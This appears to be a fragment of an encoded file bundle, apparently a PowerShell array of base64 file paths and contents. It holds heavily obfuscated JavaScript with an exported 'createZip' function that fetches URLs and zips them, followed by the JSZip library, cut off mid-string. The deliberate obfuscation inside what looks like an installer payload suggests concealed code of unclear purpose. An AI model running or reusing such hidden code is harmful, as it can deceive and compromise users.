VuY3Rpb24gXzB4MmViMShfMHg0YTIzZDIsXzB4NGEwMzgzKXtjb25zdCBfMHgzNzEzM2I9XzB4ZWRkZSgpO3JldHVybiBfMHgyZWIxPWZ1bmN0aW9uKF8weDI3MjAwMixfMHgxMGIwZDEpe18weDI3MjAwMj1fMHgyNzIwMDItKDB4YWUrLTB4YWQ4KzB4YmQzKTtsZXQgXzB4ZDM5NDlmPV8weDM3MTMzYltfMHgyNzIwMDJdO2lmKF8weDJlYjFbJ3VDZktveSddPT09dW5kZWZpbmVkKXt2YXIgXzB4NDg0YzJmPWZ1bmN0aW9uKF8weDI4MWEzYil7Y29uc3QgXzB4NDQxNGI0PSdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaMDEyMzQ1Njc4OSsvPSc7bGV0IF8weDFhYTA2MD0nJyxfMHgzNzEyNDY9Jyc7Zm9yKGxldCBfMHhkYTdkMTA9LTB4NjcwKy0weDEyZisweDEqMHg3OWYsXzB4NGJjOTlkLF8weDQ5Mjc2ZSxfMHgzY2EyNmM9LTB4YmUrMHhjMmIrLTB4YjZkO18weDQ5Mjc2ZT1fMHgyODFhM2JbJ2NoYXJBdCddKF8weDNjYTI2YysrKTt+XzB4NDkyNzZlJiYoXzB4NGJjOTlkPV8weGRhN2QxMCUoMHgxMzU1Ki0weDErLTB4MWMzZCsweDJmOTYpP18weDRiYzk5ZCooLTB4NWEqMHgzZSstMHgxKjB4MTU4OSsweDJiOTUpK18weDQ5Mjc2ZTpfMHg0OTI3NmUsXzB4ZGE3ZDEwKyslKDB4NDE2Ki0weDErLTB4MSoweDhhNysweGNjMSkpP18weDFhYTA2MCs9U3RyaW5nWydmcm9tQ2hhckNvZGUnXSgweGEqLTB4MjZlKy0weDFiOWIrLTB4NiotMHg4ZDEmXzB4NGJjOTlkPj4oLSgweDE5Ki0weDU1Ky0weDEqLTB4OGY3Ky0weGE4KSpfMHhkYTdkMTAmMHg1NTErLTB4MSotMHgxYjE5KzB4MmIzKi0weGMpKTotMHg0Ki0weDgwZistMHg5MyoweDFjKzB4ODE0Ki0weDIpe18weDQ5Mjc2ZT1fMHg0NDE0YjRbJ2luZGV4T2YnXShfMHg0OTI3NmUpO31mb3IobGV0IF8weDQ3YzhiZT0tMHgxMmI4KzB4MjQqLTB4ZTkrMHgzMzdjLF8weDI4MGY1OD1fMHgxYWEwNjBbJ2xlbmd0aCddO18weDQ3YzhiZTxfMHgyODBmNTg7XzB4NDdjOGJlKyspe18weDM3MTI0Nis9JyUnKygnMDAnK18weDFhYTA2MFsnY2hhckNvZGVBdCddKF8weDQ3YzhiZSlbJ3RvU3RyaW5nJ10oMHgxKi0weDI2M2YrMHgyKjB4YzBlKy0weDJkNyotMHg1KSlbJ3NsaWNlJ10oLSgtMHgxNTE4Ky0weDE4OGYrMHgyZGE5KjB4MSkpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KF8weDM3MTI0Nik7fTtjb25zdCBfMHgyODU2ODQ9ZnVuY3Rpb24oXzB4MjVhMzA3LF8weDNhMmVhMil7bGV0IF8weDE5OTNlYT1bXSxfMHgxNzhkMjk9MHg4N2MqLTB4NCsweDI1OTArLTB4ZTgqMHg0LF8weDNhOGFjNCxfMHg1Nzc0N2Q9Jyc7XzB4MjVhMzA3PV8weDQ4NGMyZihfMHgyNWEzMDcpO2xldCBfMHgzZjdlYjM7Zm9yKF8weDNmN2ViMz0weDI2MTUqLTB4MSsweDhhNisweDFkNmY7XzB4M2Y3ZWIzPC0weGVmNysweDVhYistMHg0Ki0weDI5MztfMHgzZjdlYjMrKyl7XzB4MTk5M2VhW18weDNmN2ViM109XzB4M2Y3ZWIzO31mb3IoXzB4M2Y3ZWIzPS0weGVlZiotMHgyKy0weDUxNSoweDErLTB4MmMxKjB4OTtfMHgzZjdlYjM8MHhjMDArLTB4MjIzMCsweDE3MzA7XzB4M2Y3ZWIzKyspe18weDE3OGQyOT0oXzB4MTc4ZDI5K18weDE5OTNlYVtfMHgzZjdlYjNdK18weDNhMmVhMlsnY2hhckNvZGVBdCddKF8weDNmN2ViMyVfMHgzYTJlYTJbJ2xlbmd0aCddKSklKDB4MSotMHhhMDYrMHgyMTMyKy0weDE2MmMpLF8weDNhOGFjND1fMHgxOTkzZWFbXzB4M2Y3ZWIzXSxfMHgxOTkzZWFbXzB4M2Y3ZWIzXT1fMHgxOTkzZWFbXzB4MTc4ZDI5XSxfMHgxOTkzZWFbXzB4MTc4ZDI5XT1fMHgzYThhYzQ7fV8weDNmN2ViMz0tMHgxYjhkKy0weGVmKjB4MTgrMHgzMWY1LF8weDE3OGQyOT0weDE4MzkrLTB4MSoweDIwNTQrMHg4MWI7Zm9yKGxldCBfMHg1YWI5NWI9MHgxKjB4MWQ4MystMHgzOGIqMHhhKzB4ZioweDY1O18weDVhYjk1YjxfMHgyNWEzMDdbJ2xlbmd0aCddO18weDVhYjk1YisrKXtfMHgzZjdlYjM9KF8weDNmN2ViMysoMHgxKjB4MTRkNSstMHgxM2I3KzB4MyotMHg1ZikpJSgweDEqMHgxOTgzKzB4M2YqMHgzMistMHgyNGQxKSxfMHgxNzhkMjk9KF8weDE3OGQyOStfMHgxOTkzZWFbXzB4M2Y3ZWIzXSklKC0weDJlKi0weDM5Ky0weDE3NzkrMHgxKjB4ZTNiKSxfMHgzYThhYzQ9XzB4MTk5M2VhW18weDNmN2ViM10sXzB4MTk5M2VhW18weDNmN2ViM109XzB4MTk5M2VhW18weDE3OGQyOV0sXzB4MTk5M2VhW18weDE3OGQyOV09XzB4M2E4YWM0LF8weDU3NzQ3ZCs9U3RyaW5nWydmcm9tQ2hhckNvZGUnXShfMHgyNWEzMDdbJ2NoYXJDb2RlQXQnXShfMHg1YWI5NWIpXl8weDE5OTNlYVsoXzB4MTk5M2VhW18weDNmN2ViM10rXzB4MTk5M2VhW18weDE3OGQyOV0pJSgweDFmNSoweDIrLTB4MSotMHgyMjAyKy0weDI0ZWMpXSk7fXJldHVybiBfMHg1Nzc0N2Q7fTtfMHgyZWIxWydqSWtjUVknXT1fMHgyODU2ODQsXzB4NGEyM2QyPWFyZ3VtZW50cyxfMHgyZWIxWyd1Q2ZLb3knXT0hIVtdO31jb25zdCBfMHg0MzdkMjM9XzB4MzcxMzNiWy0weDFjYjUrMHgyMyotMHg3YysweDEqMHgyZGE5XSxfMHg0N2E2MTU9XzB4MjcyMDAyK18weDQzN2QyMyxfMHgxMzQxMzc9XzB4NGEyM2QyW18weDQ3YTYxNV07cmV0dXJuIV8weDEzNDEzNz8oXzB4MmViMVsnVGVXeUV5J109PT11bmRlZmluZWQmJihfMHgyZWIxWydUZVd5RXknXT0hIVtdKSxfMHhkMzk0OWY9XzB4MmViMVsnaklrY1FZJ10oXzB4ZDM5NDlmLF8weDEwYjBkMSksXzB4NGEyM2QyW18weDQ3YTYxNV09XzB4ZDM5NDlmKTpfMHhkMzk0OWY9XzB4MTM0MTM3LF8weGQzOTQ5Zjt9LF8weDJlYjEoXzB4NGEyM2QyLF8weDRhMDM4Myk7fWV4cG9ydCBjb25zdCBjcmVhdGVaaXA9YXN5bmMgXzB4MTAyNGFhPT57ZnVuY3Rpb24gXzB4MjQ4NzM1KF8weDIxZWFjNyxfMHg0MGI3NjUsXzB4MTJlNWY3LF8weDMwYmZiOSxfMHgzNGNjNGYpe3JldHVybiBfMHgyZWIxKF8weDM0Y2M0Zi0gLTB4MWMwLF8weDQwYjc2NSk7fWNvbnN0IF8weDRkMWNkNT17J2poTkpuJzpmdW5jdGlvbihfMHgzMTJhODQsXzB4MzgzYmM5KXtyZXR1cm4gXzB4MzEyYTg0KF8weDM4M2JjOSk7fSwnS3prRFMnOl8weDQ1MzJjNSgweGVjLDB4YzIsMHhjZSwnNVA5UScsMHhjNCkrXzB4NTkwYTkxKCclXTBZJywtMHgxNzEsLTB4MTY1LC0weDE3NCwtMHgxOGQpLCd1TE5WcCc6ZnVuY3Rpb24oXzB4NWVmNWVkLF8weGVmZThiNCl7cmV0dXJuIF8weDVlZjVlZChfMHhlZmU4YjQpO30sJ1luZWFOJzpfMHg0NTMyYzUoMHhlZSwweDEwYiwweDEwNSwnQGVCUCcsMHgxMDUpfSxfMHg1NjY4MzY9bmV3IF8weDJlNzA2NigpO2Z1bmN0aW9uIF8weDQ3N2NkZihfMHgzMmVhNmMsXzB4NThkMmM5LF8weDE4NzEyYixfMHhhY2RhM2QsXzB4NGQ5NTViKXtyZXR1cm4gXzB4MmViMShfMHgzMmVhNmMtMHhiNSxfMHgxODcxMmIpO31mb3IoY29uc3QgW18weDE1ZjFjZCxfMHgxMWI2YWFdb2YgT2JqZWN0W18weDQzNThiZCgtMHgxN2QsLTB4MTg1LC0weDE3NCwnRVkqYicsLTB4MTY3KSsnZXMnXShfMHgxMDI0YWFbXzB4NDc3Y2RmKDB4MjdiLDB4Mjk1LCcxTEFEJywweDI2YiwweDI2YykrXzB4NDUzMmM1KDB4ZTUsMHhjOSwweGU3LCdrQzZ5JywweGY5KSsnbnMnXSkpe2NvbnN0IF8weDJiZDFjYT1fMHg1NjY4MzZbXzB4MjQ4NzM1KC0weDksJyFVTF4nLC0weDQsLTB4MjEsLTB4MTcpKydyJ10oXzB4MTVmMWNkKTtmb3IoY29uc3QgXzB4MTFjNDQxIG9mIF8weDExYjZhYSl0cnl7Y29uc3QgXzB4NGMwOWQ0PWF3YWl0IF8weDRkMWNkNVtfMHg0MzU4YmQoLTB4MTc5LC0weDE0OSwtMHgxNjYsJ1tya3EnLC0weDE2NCldKGZldGNoLF8weDExYzQ0MVtfMHg0MzU4YmQoLTB4MTg1LC0weDE4YywtMHgxOTMsJ1RWR24nLC0weDE3MildKTtpZighXzB4NGMwOWQ0WydvayddKXRocm93IG5ldyBFcnJvcihfMHg0NTMyYzUoMHgxMTMsMHhmMSwweDEwYiwnUkJHJCcsMHgxMTMpK18weDQ3N2NkZigweDI3ZSwweDI2MiwnQEwxZicsMHgyNzUsMHgyNmYpK18weDQzNThiZCgtMHgxNjksLTB4MTcwLC0weDE2NSwnVzVLYScsLTB4MTc3KStfMHg0MzU4YmQoLTB4MTljLC0weDE4ZiwtMHgxOGQsJzlvNVUnLC0weDE4NSkrJzpceDIwJytfMHgxMWM0NDFbXzB4NDM1OGJkKC0weDFhNCwtMHgxODcsLTB4MTk0LCdlbFo1JywtMHgxN2YpXSk7Y29uc3QgXzB4NDdiMzUzPWF3YWl0IF8weDRjMDlkNFtfMHg0MzU4YmQoLTB4MTg4LC0weDE4NCwtMHgxOWEsJ0JOWCUnLC0weDE5YildKCk7XzB4MmJkMWNhW18weDQ3N2NkZigweDI2MSwweDI0NywnWGt6eScsMHgyNmEsMHgyNjIpXShfMHgxMWM0NDFbXzB4NDc3Y2RmKDB4MjYyLDB4MjY2LCckUTE3JywweDI0MywweDI2NSldLF8weDQ3YjM1Myk7fWNhdGNoKF8weDY0NDIxZil7Y29uc29sZVtfMHgyNDg3MzUoMHgxMywnbkhNTScsMHgxOSwweDMsLTB4NildKF8weDQ3N2NkZigweDI5NSwweDI3NCwnd3h6OScsMHgyYTMsMHgyODYpK18weDI0ODczNSgweDFiLCczaXVPJywweDAsLTB4MWMsMHg0KStfMHg0NTMyYzUoMHhlYywweDEwMSwweDEwZSwnZ21yZycsMHgxMjcpK18weDU5MGE5MSgnJFExNycsLTB4MTQ5LC0weDEzNywtMHgxMmEsLTB4MTY2KStfMHgyNDg3MzUoMHgxYiwnQk5YJScsMHgyOSwweDJkLDB4MWMpKydceDIwJytfMHgxMWM0NDFbXzB4NTkwYTkxKCdFbzVyJywtMHgxNGYsLTB4MTUyLC0weDE1NCwtMHgxNzEpXSxfMHg2NDQyMWYpO319Y29uc3QgXzB4MzZmNzYwPV8weDU2NjgzNltfMHgyNDg3MzUoLTB4MTcsJzlvNVUnLDB4MTYsLTB4MTYsLTB4MSkrJ3InXShfMHg0ZDFjZDVbXzB4NDc3Y2RmKDB4MjgzLDB4MjgxLCddXkllJywweDI4NCwweDI5ZSldKTtmb3IoY29uc3QgXzB4NWQ4ODVkIG9mIF8weDEwMjRhYVtfMHg0MzU4YmQoLTB4MWEwLC0weDFhYiwtMHgxODksJ0VZKmInLC0weDE5NSkrXzB4NDc3Y2RmKDB4MmEwLDB4Mjg0LCdHczc5JywweDJiZSwweDJjMCldKXRyeXtjb25zdCBfMHgzMTUyNWE9YXdhaXQgXzB4NGQxY2Q1W18weDI0ODczNSgtMHg4LCdbcmtxJywtMHgxZSwtMHgxZiwtMHhjKV0oZmV0Y2gsXzB4NWQ4ODVkW18weDU5MGE5MSgnT3BiaycsLTB4MTRkLC0weDEyZSwtMHgxMzYsLTB4MTJiKV0pO2lmKCFfMHgzMTUyNWFbJ29rJ10pdGhyb3cgbmV3IEVycm9yKF8weDU5MGE5MSgnVEdORicsLTB4MTUyLC0weDE0YywtMHgxNjksLTB4MTc0KStfMHg0NzdjZGYoMHgyODYsMHgyOWYsJ1A1djcnLDB4MjhlLDB4MjhlKStfMHg0NzdjZGYoMHgyOGYsMHgyNzAsJzdAd2InLDB4MjhiLDB4MjhmKStfMHgyNDg3MzUoLTB4MjMsJ0BlQlAnLC0weDFkLDB4YywtMHg1KSsnOlx4MjAnK18weDVkODg1ZFtfMHg0NTMyYzUoMHhkYywweGMzLDB4ZTUsJ3V3eFAnLDB4ZjgpXSk7Y29uc3QgXzB4NTY5MjcxPWF3YWl0IF8weDMxNTI1YVtfMHg0NTMyYzUoMHgxMGEsMHhmZiwweDEwMSwnUkJHJCcsMHhmMyldKCk7XzB4MzZmNzYwW18weDQzNThiZCgtMHgxNjksLTB4MTZhLC0weDE3OSwnRVkqYicsLTB4MTdhKV0oXzB4NWQ4ODVkW18weDU5MGE5MSgnd3h6OScsLTB4MTVjLC0weDE1ZiwtMHgxNWUsLTB4MTc2KV0sXzB4NTY5MjcxKTt9Y2F0Y2goXzB4NTUwYzUxKXt9ZnVuY3Rpb24gXzB4NDM1OGJkKF8weDgxNjQ0ZCxfMHg0OTAyM2YsXzB4ZWEzYmQ1LF8weDM1ODNmZixfMHgxMGNiNjcpe3JldHVybiBfMHgyZWIxKF8weGVhM2JkNS0gLTB4MzQ5LF8weDM1ODNmZik7fWZ1bmN0aW9uIF8weDU5MGE5MShfMHg1NDU1YjMsXzB4MzIwZmRlLF8weDE1MjllOSxfMHgzNTIwYjgsXzB4M2VmZGViKXtyZXR1cm4gXzB4MmViMShfMHgzMjBmZGUtIC0weDMyMSxfMHg1NDU1YjMpO31mdW5jdGlvbiBfMHg0NTMyYzUoXzB4M2YyYTBjLF8weGM3NDhjNCxfMHg1YjNiMzUsXzB4NWQwOTg4LF8weDRiNzBhMil7cmV0dXJuIF8weDJlYjEoXzB4NWIzYjM1LSAtMHhkYyxfMHg1ZDA5ODgpO310cnl7Y29uc3QgXzB4NTEwMTA4PXt9O3JldHVybiBfMHg1MTAxMDhbXzB4NDc3Y2RmKDB4MmExLDB4MjlhLCddXkllJywweDJiOCwweDJiYildPV8weDRkMWNkNVtfMHg0NzdjZGYoMHgyOTcsMHgyYTQsJ09wYmsnLDB4MmI1LDB4MjgyKV0sYXdhaXQgXzB4NTY2ODM2W18weDU5MGE5MSgnTXhbUCcsLTB4MTc2LC0weDE2MywtMHgxNmMsLTB4MTc4KStfMHg0NzdjZGYoMHgyOWIsMHgyYWEsJzVQOVEnLDB4MmFjLDB4MmFkKStfMHgyNDg3MzUoLTB4YywndXd4UCcsLTB4MjMsMHgxLC0weDcpXShfMHg1MTAxMDgpO31jYXRjaChfMHg5ZGQ5MDQpe3Rocm93IF8weDlkZDkwNDt9fTsK'),@('c3JjXGZpbmRlclx6aXBsaWIuanM=', 'IWZ1bmN0aW9uKHQpe2lmKCJvYmplY3QiPT10eXBlb2YgZXhwb3J0cyYmInVuZGVmaW5lZCIhPXR5cGVvZiBtb2R1bGUpbW9kdWxlLmV4cG9ydHM9dCgpO2Vsc2UgaWYoImZ1bmN0aW9uIj09dHlwZW9mIGRlZmluZSYmZGVmaW5lLmFtZClkZWZpbmUoW10sdCk7ZWxzZXsoInVuZGVmaW5lZCIhPXR5cGVvZiB3aW5kb3c/d2luZG93OiJ1bmRlZmluZWQiIT10eXBlb2YgZ2xvYmFsP2dsb2JhbDoidW5kZWZpbmVkIiE9dHlwZW9mIHNlbGY/c2VsZjp0aGlzKS5KU1ppcD10KCl9fShmdW5jdGlvbigpe3JldHVybiBmdW5jdGlvbiBzKGEsbyxoKXtmdW5jdGlvbiB1KHIsdCl7aWYoIW9bcl0pe2lmKCFhW3JdKXt2YXIgZT0iZnVuY3Rpb24iPT10eXBlb2YgcmVxdWlyZSYmcmVxdWlyZTtpZighdCYmZSlyZXR1cm4gZShyLCEwKTtpZihsKXJldHVybiBsKHIsITApO3ZhciBpPW5ldyBFcnJvcigiQ2Fubm90IGZpbmQgbW9kdWxlICciK3IrIiciKTt0aHJvdyBpLmNvZGU9Ik1PRFVMRV9OT1RfRk9VTkQiLGl9dmFyIG49b1tyXT17ZXhwb3J0czp7fX07YVtyXVswXS5jYWxsKG4uZXhwb3J0cyxmdW5jdGlvbih0KXt2YXIgZT1hW3JdWzFdW3RdO3JldHVybiB1KGV8fHQpfSxuLG4uZXhwb3J0cyxzLGEsbyxoKX1yZXR1cm4gb1tyXS5leHBvcnRzfWZvcih2YXIgbD0iZnVuY3Rpb24iPT10eXBlb2YgcmVxdWlyZSYmcmVxdWlyZSx0PTA7dDxoLmxlbmd0aDt0KyspdShoW3RdKTtyZXR1cm4gdX0oezE6W2Z1bmN0aW9uKHQsZSxyKXsidXNlIHN0cmljdCI7dmFyIGM9dCgiLi91dGlscyIpLGQ9dCgiLi9zdXBwb3J0IikscD0iQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0iO3IuZW5jb2RlPWZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxyLGksbixzLGEsbyxoPVtdLHU9MCxsPXQubGVuZ3RoLGY9bCxkPSJzdHJpbmciIT09Yy5nZXRUeXBlT2YodCk7dTx0Lmxlbmd0aDspZj1sLXUsaT1kPyhlPXRbdSsrXSxyPXU8bD90W3UrK106MCx1PGw/dFt1KytdOjApOihlPXQuY2hhckNvZGVBdCh1KyspLHI9dTxsP3QuY2hhckNvZGVBdCh1KyspOjAsdTxsP3QuY2hhckNvZGVBdCh1KyspOjApLG49ZT4+MixzPSgzJmUpPDw0fHI+PjQsYT0xPGY/KDE1JnIpPDwyfGk+PjY6NjQsbz0yPGY/NjMmaTo2NCxoLnB1c2gocC5jaGFyQXQobikrcC5jaGFyQXQocykrcC5jaGFyQXQoYSkrcC5jaGFyQXQobykpO3JldHVybiBoLmpvaW4oIiIpfSxyLmRlY29kZT1mdW5jdGlvbih0KXt2YXIgZSxyLGksbixzLGEsbz0wLGg9MCx1PSJkYXRhOiI7aWYodC5zdWJzdHIoMCx1Lmxlbmd0aCk9PT11KXRocm93IG5ldyBFcnJvcigiSW52YWxpZCBiYXNlNjQgaW5wdXQsIGl0IGxvb2tzIGxpa2UgYSBkYXRhIHVybC4iKTt2YXIgbCxmPTMqKHQ9dC5yZXBsYWNlKC9bXkEtWmEtejAtOVwrXC9cPV0vZywiIikpLmxlbmd0aC80O2lmKHQuY2hhckF0KHQubGVuZ3RoLTEpPT09cC5jaGFyQXQoNjQpJiZmLS0sdC5jaGFyQXQodC5sZW5ndGgtMik9PT1wLmNoYXJBdCg2NCkmJmYtLSxmJTEhPTApdGhyb3cgbmV3IEVycm9yKCJJbnZhbGlkIGJhc2U2NCBpbnB1dCwgYmFkIGNvbnRlbnQgbGVuZ3RoLiIpO2ZvcihsPWQudWludDhhcnJheT9uZXcgVWludDhBcnJheSgwfGYpOm5ldyBBcnJheSgwfGYpO288dC5sZW5ndGg7KWU9cC5pbmRleE9mKHQuY2hhckF0KG8rKykpPDwyfChuPXAuaW5kZXhPZih0LmNoYXJBdChvKyspKSk+PjQscj0oMTUmbik8PDR8KHM9cC5pbmRleE9mKHQuY2hhckF0KG8rKykpKT4+MixpPSgzJnMpPDw2fChhPXAuaW5kZXhPZih0LmNoYXJBdChvKyspKSksbFtoKytdPWUsNjQhPT1zJiYobFtoKytdPXIpLDY0IT09YSYmKGxbaCsrXT1pKTtyZXR1cm4gbH19LHsiLi9zdXBwb3J0IjozMCwiLi91dGlscyI6MzJ9XSwyOltmdW5jdGlvbih0LGUscil7InVzZSBzdHJpY3QiO3ZhciBpPXQoIi4vZXh0ZXJuYWwiKSxuPXQoIi4vc3RyZWFtL0RhdGFXb3JrZXIiKSxzPXQoIi4vc3RyZWFtL0NyYzMyUHJvYmUiKSxhPXQoIi4vc3RyZWFtL0RhdGFMZW5ndGhQcm9iZSIpO2Z1bmN0aW9uIG8odCxlLHIsaSxuKXt0aGlzLmNvbXByZXNzZWRTaXplPXQsdGhpcy51bmNvbXByZXNzZWRTaXplPWUsdGhpcy5jcmMzMj1yLHRoaXMuY29tcHJlc3Npb249aSx0aGlzLmNvbXByZXNzZWRDb250ZW50PW59by5wcm90b3R5cGU9e2dldENvbnRlbnRXb3JrZXI6ZnVuY3Rpb24oKXt2YXIgdD1uZXcgbihpLlByb21pc2UucmVzb2x2ZSh0aGlzLmNvbXByZXNzZWRDb250ZW50KSkucGlwZSh0aGlzLmNvbXByZXNzaW9uLnVuY29tcHJlc3NXb3JrZXIoKSkucGlwZShuZXcgYSgiZGF0YV9sZW5ndGgiKSksZT10aGlzO3JldHVybiB0Lm9uKCJlbmQiLGZ1bmN0aW9uKCl7aWYodGhpcy5zdHJlYW1JbmZvLmRhdGFfbGVuZ3RoIT09ZS51bmNvbXByZXNzZWRTaXplKXRocm93IG5ldyBFcnJvcigiQnVnIDogdW5jb21wcmVzc2VkIGRhdGEgc2l6ZSBtaXNtYXRjaCIpfSksdH0sZ2V0Q29tcHJlc3NlZFdvcmtlcjpmdW5jdGlvbigpe3JldHVybiBuZXcgbihpLlByb21pc2UucmVzb2x2ZSh0aGlzLmNvbXByZXNzZWRDb250ZW50KSkud2l0aFN0cmVhbUluZm8oImNvbXByZXNzZWRTaXplIix0aGlzLmNvbXByZXNzZWRTaXplKS53aXRoU3RyZWFtSW5mbygidW5jb21wcmVzc2VkU2l6ZSIsdGhpcy51bmNvbXByZXNzZWRTaXplKS53aXRoU3RyZWFtSW5mbygiY3JjMzIiLHRoaXMuY3JjMzIpLndpdGhTdHJlYW1JbmZvKCJjb21wcmVzc2lvbiIsdGhpcy5jb21wcmVzc2lvbil9fSxvLmNyZWF0ZVdvcmtlckZyb209ZnVuY3Rpb24odCxlLHIpe3JldHVybiB0LnBpcGUobmV3IHMpLnBpcGUobmV3IGEoInVuY29tcHJlc3NlZFNpemUiKSkucGlwZShlLmNvbXByZXNzV29ya2VyKHIpKS5waXBlKG5ldyBhKCJjb21wcmVzc2VkU2l6ZSIpKS53aXRoU3RyZWFtSW5mbygiY29tcHJlc3Npb24iLGUpfSxlLmV4cG9ydHM9b30seyIuL2V4dGVybmFsIjo2LCIuL3N0cmVhbS9DcmMzMlByb2JlIjoyNSwiLi9zdHJlYW0vRGF0YUxlbmd0aFByb2JlIjoyNiwiLi9zdHJlYW0vRGF0YVdvcmtlciI6Mjd9XSwzOltmdW5jdGlvbih0LGUscil7InVzZSBzdHJpY3QiO3ZhciBpPXQoIi4vc3RyZWFtL0dlbmVyaWNXb3JrZXIiKTtyLlNUT1JFPXttYWdpYzoiXDBcMCIsY29tcHJlc3NXb3JrZXI6ZnVuY3Rpb24odCl7cmV0dXJuIG5ldyBpKCJTVE9SRSBjb21wcmVzc2lvbiIpfSx1bmNvbXByZXNzV29ya2VyOmZ1bmN0aW9uKCl7cmV0dXJuIG5ldyBpKCJTVE9SRSBkZWNvbXByZXNzaW9uIil9fSxyLkRFRkxBVEU9dCgiLi9mbGF0ZSIpfSx7Ii4vZmxhdGUiOjcsIi4vc3RyZWFtL0dlbmVyaWNXb3JrZXIiOjI4fV0sNDpbZnVuY3Rpb24odCxlLHIpeyJ1c2Ugc3RyaWN0Ijt2YXIgaT10KCIuL3V0aWxzIik7dmFyIG89ZnVuY3Rpb24oKXtmb3IodmFyIHQsZT1bXSxyPTA7cjwyNTY7cisrKXt0PXI7Zm9yKHZhciBpPTA7aTw4O2krKyl0PTEmdD8zOTg4MjkyMzg0XnQ+Pj4xOnQ+Pj4xO2Vbcl09dH1yZXR1cm4gZX0oKTtlLmV4cG9ydHM9ZnVuY3Rpb24odCxlKXtyZXR1cm4gdm9pZCAwIT09dCYmdC5sZW5ndGg/InN0cmluZyIhPT1pLmdldFR5cGVPZih0KT9mdW5jdGlvbih0LGUscixpKXt2YXIgbj1vLHM9aStyO3RePS0xO2Zvcih2YXIgYT1pO2E8czthKyspdD10Pj4+OF5uWzI1NSYodF5lW2FdKV07cmV0dXJuLTFedH0oMHxlLHQsdC5sZW5ndGgsMCk6ZnVuY3Rpb24odCxlLHIsaSl7dmFyIG49byxzPWkrcjt0Xj0tMTtmb3IodmFyIGE9aTthPHM7YSsrKXQ9dD4+PjheblsyNTUmKHReZS5jaGFyQ29kZUF0KGEpKV07cmV0dXJuLTFedH0oMHxlLHQsdC5sZW5ndGgsMCk6MH19LHsiLi91dGlscyI6MzJ9XSw1OltmdW5jdGlvbih0LGUscil7InVzZSBzdHJpY3QiO3IuYmFzZTY0PSExLHIuYmluYXJ5PSExLHIuZGlyPSExLHIuY3JlYXRlRm9sZGVycz0hMCxyLmRhdGU9bnVsbCxyLmNvbXByZXNzaW9uPW51bGwsci5jb21wcmVzc2lvbk9wdGlvbnM9bnVsbCxyLmNvbW1lbnQ9bnVsbCxyLnVuaXhQZXJtaXNzaW9ucz1udWxsLHIuZG9zUGVybWlzc2lvbnM9bnVsbH0se31dLDY6W2Z1bmN0aW9uKHQsZSxyKXsidXNlIHN0cmljdCI7dmFyIGk9bnVsbDtpPSJ1bmRlZmluZWQiIT10eXBlb2YgUHJvbWlzZT9Qcm9taXNlOnQoImxpZSIpLGUuZXhwb3J0cz17UHJvbWlzZTppfX0se2xpZTozN31dLDc6W2Z1bmN0aW9uKHQsZSxyKXsidXNlIHN0cmljdCI7dmFyIGk9InVuZGVmaW5lZCIhPXR5cGVvZiBVaW50OEFycmF5JiYidW5kZWZpbmVkIiE9dHlwZW9mIFVpbnQxNkFycmF5JiYidW5kZWZpbmVkIiE9dHlwZW9mIFVpbnQzMkFycmF5LG49dCgicGFrbyIpLHM9dCgiLi91dGlscyIpLGE9dCgiLi9zdHJlYW0vR2VuZXJpY1dvcmtlciIpLG89aT8idWludDhhcnJheSI6ImFycmF5IjtmdW5jdGlvbiBoKHQsZSl7YS5jYWxsKHRoaXMsIkZsYXRlV29ya2VyLyIrdCksdGhpcy5fcGFrbz1udWxsLHRoaXMuX3Bha29BY3Rpb249dCx0aGlzLl9wYWtvT3B0aW9ucz1lLHRoaXMubWV0YT17fX1yLm1hZ2ljPSJcYlwwIixzLmluaGVyaXRzKGgsYSksaC5wcm90b3R5cGUucHJvY2Vzc0NodW5rPWZ1bmN0aW9uKHQpe3RoaXMubWV0YT10Lm1ldGEsbnVsbD09PXRoaXMuX3Bha28mJnRoaXMuX2NyZWF0ZVBha28oKSx0aGlzLl9wYWtvLnB1c2gocy50cmFuc2Zvcm1UbyhvLHQuZGF0YSksITEpfSxoLnByb3RvdHlwZS5mbHVzaD1mdW5jdGlvbigpe2EucHJvdG90eXBlLmZsdXNoLmNhbGwodGhpcyksbnVsbD09PXRoaXMuX3Bha28mJnRoaXMuX2NyZWF0ZVBha28oKSx0aGlzLl9wYWtvLnB1c2goW10sITApfSxoLnByb3RvdHlwZS5jbGVhblVwPWZ1bmN0aW9uKCl7YS5wcm90b3R5cGUuY2xlYW5VcC5jYWxsKHRoaXMpLHRoaXMuX3Bha289bnVsbH0saC5wcm90b3R5cGUuX2NyZWF0ZVBha289ZnVuY3Rpb24oKXt0aGlzLl9wYWtvPW5ldyBuW3RoaXMuX3Bha29BY3Rpb25dKHtyYXc6ITAsbGV2ZWw6dGhpcy5fcGFrb09wdGlvbnMubGV2ZWx8fC0xfSk7dmFyIGU9dGhpczt0aGlzLl9wYWtvLm9uRGF0YT1mdW5jdGlvbih0KXtlLnB1c2goe2RhdGE6dCxtZXRhOmUubWV0YX0pfX0sci5jb21wcmVzc1dvcmtlcj1mdW5jdGlvbih0KXtyZXR1cm4gbmV3IGgoIkRlZmxhdGUiLHQpfSxyLnVuY29tcHJlc3NXb3JrZXI9ZnVuY3Rpb24oKXtyZXR1cm4gbmV3IGgoIkluZmxhdGUiLHt9KX19LHsiLi9zdHJlYW0vR2VuZXJpY1dvcmtlciI6MjgsIi4vdXRpbHMiOjMyLHBha286Mzh9XSw4OltmdW5jdGlvbih0LGUscil7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIEEodCxlKXt2YXIgcixpPSIiO2ZvcihyPTA7cjxlO3IrKylpKz1TdHJpbmcuZnJvbUNoYXJDb2RlKDI1NSZ0KSx0Pj4+PTg7cmV0dXJuIGl9ZnVuY3Rpb24gaSh0LGUscixpLG4scyl7dmFyIGEsbyxoPXQuZmlsZSx1PXQuY29tcHJlc3Npb24sbD1zIT09Ty51dGY4ZW5jb2RlLGY9SS50cmFuc2Zvcm1Ubygic3RyaW5nIixzKGgubmFtZSkpLGQ9SS50cmFuc2Zvcm1Ubygic3RyaW5nIixPLnV0ZjhlbmNvZGUoaC5uYW1lKSksYz1oLmNvbW1lbnQscD1JLnRyYW5zZm9ybVRvKCJzdHJpbmciLHMoYykpLG09SS50cmFuc2Zvcm1Ubygic3RyaW5nIixPLnV0ZjhlbmN